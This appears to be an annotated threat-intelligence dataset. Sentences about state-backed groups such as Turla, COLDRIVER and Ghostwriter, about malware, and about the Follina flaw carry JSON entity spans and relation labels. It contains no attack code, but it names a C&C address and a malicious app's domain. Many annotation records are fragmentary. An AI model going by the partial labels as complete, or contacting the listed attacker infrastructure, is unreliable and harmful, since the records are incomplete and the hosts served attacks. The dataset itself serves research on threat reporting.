4,629 | In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts. | [
{
"id": 50543,
"label": "identity",
"start_offset": 18,
"end_offset": 21
},
{
"id": 50544,
"label": "threat-actor",
"start_offset": 41,
"end_offset": 56
},
{
"id": 50545,
"label": "malware",
"start_offset": 69,
"end_offset": 80
},
{
"id": 50546,
"label": "SOFTWARE",
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"end_offset": 116
},
{
"id": 50542,
"label": "TIME",
"start_offset": 3,
"end_offset": 16
},
{
"id": 50547,
"label": "SOFTWARE",
"start_offset": 118,
"end_offset": 124
},
{
"id": 50548,
"label": "SOFTWARE",
"start_offset": 130,
"end_offset": 147
}
] | [
{
"id": 982,
"from_id": 50545,
"to_id": 50544,
"type": "authored-by"
}
] | [] |
4,728 | Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users. | [
{
"id": 50632,
"label": "SOFTWARE",
"start_offset": 77,
"end_offset": 83
},
{
"id": 50633,
"label": "SOFTWARE",
"start_offset": 88,
"end_offset": 95
},
{
"id": 50634,
"label": "SOFTWARE",
"start_offset": 126,
"end_offset": 133
},
{
"id": 50635,
"label": "vulnerability",
"start_offset": 37,
"end_offset": 66
}
] | [
{
"id": 983,
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},
{
"id": 984,
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"type": "has"
},
{
"id": 985,
"from_id": 50634,
"to_id": 50635,
"type": "has"
}
] | [] |
4,800 | Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same. | [
{
"id": 50702,
"label": "location",
"start_offset": 62,
"end_offset": 69
},
{
"id": 50703,
"label": "threat-actor",
"start_offset": 121,
"end_offset": 132
},
{
"id": 50704,
"label": "location",
"start_offset": 153,
"end_offset": 160
},
{
"id": 50701,
"label": "threat-actor",
"start_offset": 5,
"end_offset": 36
}
] | [
{
"id": 986,
"from_id": 50701,
"to_id": 50702,
"type": "targets"
}
] | [] |
4,802 | Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin. | [
{
"id": 50710,
"label": "threat-actor",
"start_offset": 179,
"end_offset": 203
},
{
"id": 50707,
"label": "identity",
"start_offset": 94,
"end_offset": 97
},
{
"id": 50709,
"label": "attack-pattern",
"start_offset": 28,
"end_offset": 42
},
{
"id": 50711,
"label": "threat-actor",
"start_offset": 210,
"end_offset": 233
},
{
"id": 50706,
"label": "location",
"start_offset": 82,
"end_offset": 89
},
{
"id": 50708,
"label": "location",
"start_offset": 11,
"end_offset": 18
},
{
"id": 50712,
"label": "identity",
"start_offset": 253,
"end_offset": 256
}
] | [
{
"id": 987,
"from_id": 50710,
"to_id": 50709,
"type": "uses"
},
{
"id": 988,
"from_id": 50711,
"to_id": 50709,
"type": "uses"
},
{
"id": 989,
"from_id": 50710,
"to_id": 50708,
"type": "located-at"
},
{
"id": 990,
"from_id": 50711,
"to_id": 50708,
"type": "located-at"
},
{
"id": 991,
"from_id": 50710,
"to_id": 50706,
"type": "targets"
},
{
"id": 992,
"from_id": 50711,
"to_id": 50706,
"type": "targets"
}
] | [] |
4,804 | Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment. | [
{
"id": 50714,
"label": "identity",
"start_offset": 48,
"end_offset": 51
},
{
"id": 50715,
"label": "threat-actor",
"start_offset": 88,
"end_offset": 93
},
{
"id": 50719,
"label": "SOFTWARE",
"start_offset": 183,
"end_offset": 190
},
{
"id": 50716,
"label": "location",
"start_offset": 126,
"end_offset": 132
},
{
"id": 50717,
"label": "identity",
"start_offset": 135,
"end_offset": 165
},
{
"id": 50718,
"label": "identity",
"start_offset": 221,
"end_offset": 244
}
] | [
{
"id": 994,
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"to_id": 50716,
"type": "located-at"
},
{
"id": 995,
"from_id": 50715,
"to_id": 50717,
"type": "attributed-to"
},
{
"id": 996,
"from_id": 50715,
"to_id": 50718,
"type": "impersonates"
},
{
"id": 997,
"from_id": 50715,
"to_id": 50719,
"type": "uses"
}
] | [] |
4,811 | During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites. | [
{
"id": 50729,
"label": "SOFTWARE",
"start_offset": 78,
"end_offset": 89
},
{
"id": 50730,
"label": "TIME",
"start_offset": 116,
"end_offset": 126
},
{
"id": 50731,
"label": "attack-pattern",
"start_offset": 156,
"end_offset": 159
},
{
"id": 50727,
"label": "threat-actor",
"start_offset": 34,
"end_offset": 39
},
{
"id": 50728,
"label": "malware",
"start_offset": 40,
"end_offset": 49
}
] | [
{
"id": 998,
"from_id": 50727,
"to_id": 50728,
"type": "uses"
}
] | [] |
4,812 | In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro. | [
{
"id": 50733,
"label": "malware",
"start_offset": 39,
"end_offset": 50
},
{
"id": 50732,
"label": "SOFTWARE",
"start_offset": 18,
"end_offset": 29
},
{
"id": 50734,
"label": "malware",
"start_offset": 52,
"end_offset": 68
},
{
"id": 50735,
"label": "DOMAIN",
"start_offset": 107,
"end_offset": 118
}
] | [
{
"id": 999,
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"to_id": 50734,
"type": "hosts"
},
{
"id": 1000,
"from_id": 50735,
"to_id": 50733,
"type": "hosts"
}
] | [] |
4,815 | Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of. | [
{
"id": 50738,
"label": "SOFTWARE",
"start_offset": 43,
"end_offset": 54
},
{
"id": 50740,
"label": "malware",
"start_offset": 155,
"end_offset": 177
},
{
"id": 50739,
"label": "threat-actor",
"start_offset": 130,
"end_offset": 135
}
] | [
{
"id": 1001,
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"type": "impersonates"
},
{
"id": 1003,
"from_id": 50740,
"to_id": 50739,
"type": "authored-by"
}
] | [] |
4,817 | Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT). | [
{
"id": 50748,
"label": "SOFTWARE",
"start_offset": 62,
"end_offset": 110
},
{
"id": 50746,
"label": "vulnerability",
"start_offset": 13,
"end_offset": 54
},
{
"id": 50747,
"label": "vulnerability",
"start_offset": 0,
"end_offset": 7
}
] | [
{
"id": 1004,
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"to_id": 50747,
"type": "duplicate-of"
},
{
"id": 1005,
"from_id": 50748,
"to_id": 50747,
"type": "has"
}
] | [] |
4,818 | Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability. | [
{
"id": 50750,
"label": "identity",
"start_offset": 35,
"end_offset": 38
},
{
"id": 50751,
"label": "identity",
"start_offset": 57,
"end_offset": 75
},
{
"id": 50752,
"label": "threat-actor",
"start_offset": 78,
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},
{
"id": 50753,
"label": "threat-actor",
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},
{
"id": 50749,
"label": "identity",
"start_offset": 16,
"end_offset": 23
},
{
"id": 50754,
"label": "vulnerability",
"start_offset": 132,
"end_offset": 153
}
] | [
{
"id": 1006,
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"type": "exploits"
},
{
"id": 1007,
"from_id": 50752,
"to_id": 50754,
"type": "exploits"
}
] | [] |
4,821 | One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine. | [
{
"id": 50760,
"label": "identity",
"start_offset": 44,
"end_offset": 51
},
{
"id": 50761,
"label": "threat-actor",
"start_offset": 55,
"end_offset": 63
},
{
"id": 50762,
"label": "vulnerability",
"start_offset": 103,
"end_offset": 118
},
{
"id": 50763,
"label": "identity",
"start_offset": 169,
"end_offset": 197
}
] | [
{
"id": 1008,
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"to_id": 50763,
"type": "impersonates"
},
{
"id": 1009,
"from_id": 50761,
"to_id": 50762,
"type": "uses"
}
] | [] |
4,822 | We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor. | [
{
"id": 50765,
"label": "malware",
"start_offset": 137,
"end_offset": 158
},
{
"id": 50764,
"label": "threat-actor",
"start_offset": 97,
"end_offset": 102
}
] | [
{
"id": 1010,
"from_id": 50764,
"to_id": 50765,
"type": "uses"
}
] | [] |
4,823 | Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users. | [
{
"id": 50766,
"label": "threat-actor",
"start_offset": 0,
"end_offset": 11
},
{
"id": 50767,
"label": "threat-actor",
"start_offset": 12,
"end_offset": 19
},
{
"id": 50768,
"label": "location",
"start_offset": 50,
"end_offset": 57
}
] | [
{
"id": 1011,
"from_id": 50767,
"to_id": 50766,
"type": "duplicate-of"
},
{
"id": 1012,
"from_id": 50766,
"to_id": 50768,
"type": "attributed-to"
}
] | [] |
4,826 | COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists. | [
{
"id": 50774,
"label": "location",
"start_offset": 13,
"end_offset": 20
},
{
"id": 50775,
"label": "threat-actor",
"start_offset": 65,
"end_offset": 73
},
{
"id": 50773,
"label": "threat-actor",
"start_offset": 0,
"end_offset": 9
},
{
"id": 50776,
"label": "attack-pattern",
"start_offset": 93,
"end_offset": 119
}
] | [
{
"id": 1013,
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"to_id": 50774,
"type": "located-at"
},
{
"id": 1014,
"from_id": 50775,
"to_id": 50773,
"type": "duplicate-of"
}
] | [] |
4,830 | Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike. | [
{
"id": 50783,
"label": "identity",
"start_offset": 71,
"end_offset": 78
},
{
"id": 50785,
"label": "SOFTWARE",
"start_offset": 204,
"end_offset": 219
},
{
"id": 50786,
"label": "tools",
"start_offset": 257,
"end_offset": 270
},
{
"id": 50784,
"label": "identity",
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},
{
"id": 14710,
"label": "threat-actor",
"start_offset": 18,
"end_offset": 27
},
{
"id": 14713,
"label": "threat-actor",
"start_offset": 82,
"end_offset": 90
}
] | [
{
"id": 1015,
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"type": "duplicate-of"
},
{
"id": 1016,
"from_id": 14710,
"to_id": 50784,
"type": "targets"
},
{
"id": 1017,
"from_id": 14710,
"to_id": 50785,
"type": "uses"
},
{
"id": 1018,
"from_id": 14710,
"to_id": 50786,
"type": "uses"
}
] | [] |
4,845 | We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves. | [
{
"id": 50804,
"label": "location",
"start_offset": 22,
"end_offset": 28
},
{
"id": 50805,
"label": "identity",
"start_offset": 29,
"end_offset": 48
}
] | [
{
"id": 1019,
"from_id": 50805,
"to_id": 50804,
"type": "located-at"
}
] | [] |
4,847 | A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel. | [
{
"id": 50812,
"label": "location",
"start_offset": 200,
"end_offset": 206
},
{
"id": 50809,
"label": "location",
"start_offset": 96,
"end_offset": 102
},
{
"id": 50807,
"label": "location",
"start_offset": 26,
"end_offset": 32
},
{
"id": 50808,
"label": "identity",
"start_offset": 33,
"end_offset": 55
},
{
"id": 50810,
"label": "location",
"start_offset": 132,
"end_offset": 139
},
{
"id": 50811,
"label": "location",
"start_offset": 166,
"end_offset": 173
}
] | [
{
"id": 1020,
"from_id": 50808,
"to_id": 50807,
"type": "located-at"
},
{
"id": 1021,
"from_id": 50808,
"to_id": 50809,
"type": "targets"
},
{
"id": 1023,
"from_id": 50808,
"to_id": 50811,
"type": "targets"
},
{
"id": 1024,
"from_id": 50808,
"to_id": 50812,
"type": "targets"
},
{
"id": 1022,
"from_id": 50808,
"to_id": 50810,
"type": "targets"
}
] | [] |
4,850 | One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns. | [
{
"id": 50820,
"label": "location",
"start_offset": 95,
"end_offset": 107
},
{
"id": 50821,
"label": "location",
"start_offset": 113,
"end_offset": 133
},
{
"id": 50822,
"label": "location",
"start_offset": 139,
"end_offset": 146
},
{
"id": 50823,
"label": "campaign",
"start_offset": 152,
"end_offset": 181
}
] | [
{
"id": 1025,
"from_id": 50823,
"to_id": 50822,
"type": "targets"
},
{
"id": 1026,
"from_id": 50823,
"to_id": 50820,
"type": "targets"
},
{
"id": 1027,
"from_id": 50823,
"to_id": 50821,
"type": "targets"
}
] | [] |
4,872 | This group also has links to the original developers of H-Worm, also known as njRAT. | [
{
"id": 50874,
"label": "malware",
"start_offset": 56,
"end_offset": 62
},
{
"id": 14895,
"label": "malware",
"start_offset": 78,
"end_offset": 83
}
] | [
{
"id": 1028,
"from_id": 14895,
"to_id": 50874,
"type": "duplicate-of"
}
] | [] |
4,873 | In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm. | [
{
"id": 50875,
"label": "TIME",
"start_offset": 3,
"end_offset": 7
},
{
"id": 50877,
"label": "identity",
"start_offset": 61,
"end_offset": 81
},
{
"id": 50878,
"label": "malware",
"start_offset": 124,
"end_offset": 130
},
{
"id": 50876,
"label": "identity",
"start_offset": 9,
"end_offset": 18
}
] | [
{
"id": 1029,
"from_id": 50878,
"to_id": 50877,
"type": "authored-by"
}
] | [] |
4,874 | Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception. | [
{
"id": 50881,
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{
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{
"id": 50880,
"label": "identity",
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}
] | [
{
"id": 1030,
"from_id": 50880,
"to_id": 50879,
"type": "duplicate-of"
}
] | [] |
4,908 | Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar. | [
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{
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{
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{
"id": 50924,
"label": "malware",
"start_offset": 46,
"end_offset": 51
}
] | [
{
"id": 1032,
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"to_id": 50934,
"type": "variant-of"
}
] | [] |
4,930 | In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users. | [
{
"id": 50945,
"label": "threat-actor",
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{
"id": 50947,
"label": "location",
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}
] | [
{
"id": 1033,
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}
] | [] |
4,979 | We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021. | [
{
"id": 51036,
"label": "TIME",
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{
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] | [
{
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}
] | [] |
5,017 | Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware. | [
{
"id": 51078,
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{
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] | [
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{
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},
{
"id": 1037,
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"type": "targets"
}
] | [] |
5,022 | Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region. | [
{
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"label": "identity",
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{
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{
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{
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] | [
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},
{
"id": 1039,
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"to_id": 51089,
"type": "targets"
}
] | [] |
5,025 | Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts. | [
{
"id": 51091,
"label": "threat-actor",
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{
"id": 51092,
"label": "threat-actor",
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{
"id": 51093,
"label": "SOFTWARE",
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{
"id": 51094,
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},
{
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] | [
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},
{
"id": 1042,
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"to_id": 51094,
"type": "targets"
}
] | [] |
5,030 | Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing. | [
{
"id": 51098,
"label": "threat-actor",
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},
{
"id": 51100,
"label": "location",
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},
{
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{
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{
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"label": "threat-actor",
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}
] | [
{
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{
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},
{
"id": 1045,
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"to_id": 51102,
"type": "uses"
}
] | [] |
5,037 | Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia. | [
{
"id": 51116,
"label": "location",
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{
"id": 51117,
"label": "location",
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{
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{
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{
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"label": "identity",
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}
] | [
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},
{
"id": 1049,
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"to_id": 51117,
"type": "targets"
}
] | [] |
5,054 | Here is a deeper look at the campaign activity TAG has observed over the past two weeks: Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia. | [
{
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{
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{
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] | [
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{
"id": 1055,
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}
] | [] |
5,056 | Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor. | [
{
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{
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{
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}
] | [
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{
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{
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},
{
"id": 1061,
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"type": "targets"
}
] | [] |
5,057 | However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence. | [
{
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"label": "identity",
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},
{
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{
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{
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}
] | [
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{
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}
] | [] |
5,060 | Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns. | [
{
"id": 51165,
"label": "location",
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},
{
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{
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}
] | [
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},
{
"id": 1065,
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"type": "uses"
}
] | [] |
5,063 | Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites. | [
{
"id": 51170,
"label": "attack-pattern",
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},
{
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"label": "threat-actor",
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}
] | [
{
"id": 1066,
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"type": "uses"
}
] | [] |
5,066 | Recently observed Ghostwriter credential phishing domains: | [
{
"id": 51172,
"label": "threat-actor",
"start_offset": 18,
"end_offset": 29
},
{
"id": 51173,
"label": "attack-pattern",
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}
] | [
{
"id": 1067,
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"type": "uses"
}
] | [] |
5,070 | On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609. | [
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] | [
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},
{
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"type": "exploits"
}
] | [] |
5,108 | &nbsp; [Lightly edited transcript of the video above] Hi there, Mark Nunnikhoven from Trend Micro Research, I want to talk to you about the concept of lateral movement. | [
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{
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] | [
{
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] | [] |
5,230 | We named these malicious apps AnubisSpy (ANDROIDOS_ANUBISSPY) as all the malware’s payload is a package called watchdog. | [
{
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{
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] | [
{
"id": 1072,
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}
] | [] |
5,245 | Sphinx reportedly uses the watering hole technique via social media sites to deliver its payloads — mainly a customized version of njRAT. | [
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{
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}
] | [
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] | [] |
5,249 | We correlated the AnubisSpy variants to Sphinx’s desktop/PC-targeting malware through the following: Shared C&C server, 86[.]105[.]18[.]107 Shared technique of decrypting JSON files, and similarity between the file structures of AnubisSpy and Sphinx’s malware Similar targets (highly concentrated in Middle Eastern countries) Figure 2: Comparison of file structure in Sphinx’s desktop/PC-targeting malware (left) and AnubisSpy (right) | [
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},
{
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{
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},
{
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}
] | [
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},
{
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}
] | [] |
5,279 | Cyclops Blink, an advanced modular botnet that is reportedly linked to the Sandworm or Voodoo Bear advanced persistent threat (APT) group, has recently been used to target WatchGuard Firebox devices according to an analysis performed by the UK’s National Cyber Security Centre (NCSC). | [
{
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},
{
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{
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{
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}
] | [
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},
{
"id": 1079,
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"type": "related-to"
}
] | [] |
5,284 | Our data also shows that although Cyclops Blink is a state-sponsored botnet, its C&C servers and bots affect WatchGuard Firebox and Asus devices that do not belong to critical organizations, or those that have an evident value on economic, political, or military espionage. | [
{
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},
{
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},
{
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] | [
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},
{
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"type": "targets"
}
] | [] |
5,287 | The Sandworm APT group has been attributed as creating both Cyclops Blink and the VPNFilter internet of things (IoT) botnet. | [
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},
{
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] | [
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},
{
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}
] | [] |
5,411 | The vendors that were targeted by VPNFilter were Asus, D-Link, Huawei, Linksys, MikroTik, Netgear, QNAP, TP-Link, Ubiquiti, UPVEL, and ZDE. | [
{
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